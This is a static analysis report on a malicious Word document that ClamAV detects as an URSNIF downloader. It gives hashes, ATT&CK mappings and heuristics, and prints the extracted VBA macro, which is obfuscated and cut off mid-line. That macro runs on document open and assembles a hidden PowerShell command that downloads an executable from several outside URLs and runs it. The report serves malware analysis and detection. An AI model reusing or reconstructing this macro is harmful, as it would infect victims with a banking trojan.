Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f16eeb12b2a126c0…

MALICIOUS

Office (OLE)

64.6 KB Created: 2018-09-10 14:38:00 Authoring application: Microsoft Office Word First seen: 2019-03-10
MD5: bbaf8767938a448c617501e543515c85 SHA-1: 969886522c7fd22bf52d99f785542d68d29a5c63 SHA-256: f16eeb12b2a126c016a3360939668d27a1ee4dd5e687c56d45e9dfd3f465f9d9
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The critical heuristic 'OLE_VBA_SHELL' and the presence of a 'Document_Open' macro indicate that the macro is designed to execute commands. The VBA script explicitly uses the Shell() function, which is highly indicative of downloading and executing a second-stage payload. The ClamAV detection further confirms its malicious nature as a downloader.

Heuristics 5

  • ClamAV: Doc.Downloader.URSNIF-6729855-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.URSNIF-6729855-3
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6032 bytes
SHA-256: 567e3dea49fa709e4ea6690fc5d311ef2ddc6233c050ece11fa789687edf0664
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "wCRozQz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On _
Error _
Resume _
Next
   Second "Qf" + "zB"
   Second "436022369" + "M" + "6808" + "RSsU"
   Second "7106675" + "1117" + "TSjFIAwJ" + "MEN"
   Second "8701" + "wj" + "67008186" + "Gf"
Shell IGJPj + wkSVJlFd + VWdQQbw, CStr(vbHide)
   Second "278343728" + "MEzoDDYdUSbbqB"
   Second "KQjEQpju" + "pSmVNX"
   Second "UFcGUwukE" + "mmEQwTfwPXDi" + "3789" + "6153"
End Sub



Attribute VB_Name = "EHNklHGuCu"
Function IGJPj()

On _
Error _
Resume _
Next
Second "503268127" + "236682920"
   Second "NfoC" + "106754229"
   Second "v" + "4299"
   Second "4161" + "DjvIjcmjEj" + "COPiu" + "qqNp"
   Second "v" + "72592503" + "HLRB" + "225596776"
ajpWAJZSa = Format(Chr(17 + 4 + 0 + 9 + 69)) + "md /V^" + ":/" + Format(Chr(11 + 3 + 0 + 6 + 47)) + Format(Chr(5 + 1 + 0 + 2 + 26)) + "^" + "se^t p^" + "H=^  " + " " + "^ " + "^ " + " ^ " + "^" + " " + "  ^  " + " "
Second "Oiat" + "bCNRjFDumItNS"
   Second "6417" + "PCn"
zjLfN = "^  " + "  " + "^}^}^{h" + Format(Chr(17 + 4 + 0 + 9 + 69)) + "ta" + Format(Chr(17 + 4 + 0 + 9 + 69)) + "^};" + "^ka" + "^" + "er^b^" + ";" + "Ws"
Second "425648761" + "zVOaoa" + "vCsbCYfIDjMGrw" + "ElbjvnfLr"
   Second "XdjwrrfFzkQ" + "KupSL" + "358254665" + "avPX"
   Second "108590028" + "77765300" + "dzE" + "KQqBDP"
azRRLj = "^" + "z^$ ^m" + "e^t^I^" + "-^e^" + "kovnI" + ";" + ")^Ws^" + "z" + "^$^ ,^P" + "j"
Second "ErV" + "168850858"
   Second "5058" + "zun"
   Second "pFVTs" + "cWzKP" + "smAuiu" + "Ov"
   Second "qGbFUiXYdJi" + "Zp" + "wkbsBqMjziarQz" + "6914"
QzAoZ = "^H$" + "(^eli^F" + "d^a^" + "o" + "^ln^woD" + ".^os" + "w^$" + "{yrt" + "{)W^E" + Format(Chr(11 + 3 + 0 + 6 + 47)) + "$ n" + "^i^ ^Pj" + "^H"
Second "FUMi" + "506346475" + "vD" + "tBPF"
   Second "wRiM" + "449525267" + "KHsbl" + "LJXbEmvinCr"
   Second "XcXunHYEF" + "TILk" + "ZTA" + "FZXpLwm"
   Second "tR" + "6271" + "2363" + "ETzo"
   Second "406857403" + "2451"
PWCzqzLQzJ = "^$(" + "h" + Format(Chr(17 + 4 + 0 + 9 + 69)) + "aero^" + "f;'" + "ex^e." + "^'^+b"
IGJPj = ajpWAJZSa + zjLfN + azRRLj + QzAoZ + PWCzqzLQzJ
   Second "972" + "sF" + "mMwAdVKnv" + "oLvr"
   Second "426358208" + "42440326"
End Function
Function wkSVJlFd()

On _
Error _
Resume _
Next
Second "sr" + "tHf" + "2426" + "coozPmbu"
   Second "a" + "ErrXT" + "9785" + "pdhGXSLHN"
TWOJcjS = "^B^" + "P$^+^'" + "\" + "^'+" + Format(Chr(17 + 4 + 0 + 9 + 69)) + "i^lb^u^" + "p:vne$" + "=^Ws^z" + "^$^;^'" + "^26^5^"
Second "tEQIAjW" + "jcNR" + "68612926" + "pL"
   Second "NATztSCKVRVm" + "Zbf" + "JW" + "w"
   Second "6086" + "AdT"
mwIiKjw = "'^" + " ^" + "= ^b" + "B" + "P^$;" + ")^" + "'@" + "'(^t^i^" + "l^p"
Second "4298" + "7323" + "AhH" + "Rzzulz"
   Second "zi" + "392533902"
aQETzc = "S" + ".^'Mt^P" + "^" + "l^T^hJ/" + "m^o" + Format(Chr(17 + 4 + 0 + 9 + 69)) + "^.er^i"
Second "16063317" + "X" + "15400244" + "m"
   Second "Kjmw" + "464808489" + "zzZ" + "438097873"
   Second "kNRrZb" + "30592927"
   Second "382" + "409221481" + "uWoTUaFl" + "79069585"
   Second "9340" + "j"
   Second "2628" + "8521" + "diz" + "465191575"
biUEFjb = "^w^t^" + "sevra^h" + "//:p" + "t^" + "t^h@^u^" + "t^q^" + "FZ^4oK" + "^X" + "/^mo" + Format(Chr(17 + 4 + 0 + 9 + 69)) + ".^" + "tn^e" + "^la" + "tl^"
Second "175940694" + "478035247"
   Second "nUvP" + "D" + "3331080" + "CJu"
   Second "jdLzjWFEwKr" + "uivHOW"
   Second "dLaRYhc" + "376273784" + "Ji" + "148726098"
jjjwizUMa = "la^sah" + "//^:p" + "^tt" + "h^" + "@^m^Qq" + "yL" + "^" + "8^Y" + "11"
Second "n" + "jSfTf" + "825" + "Z"
   Second "I" + "IG" + "Op" + "CDjOtdv"
   Second "pn" + "rzMhvpckD" + "325799766" + "408287387"
   Second "UGWu" + "8948"
KWwqDRvMz = "/^mo" + Format(Chr(17 + 4 + 0 + 9 + 69)) + "^." + "s^s^" + "e" + Format(Chr(17 + 4 + 0 + 9 + 69)) + Format(Chr(17
... (truncated)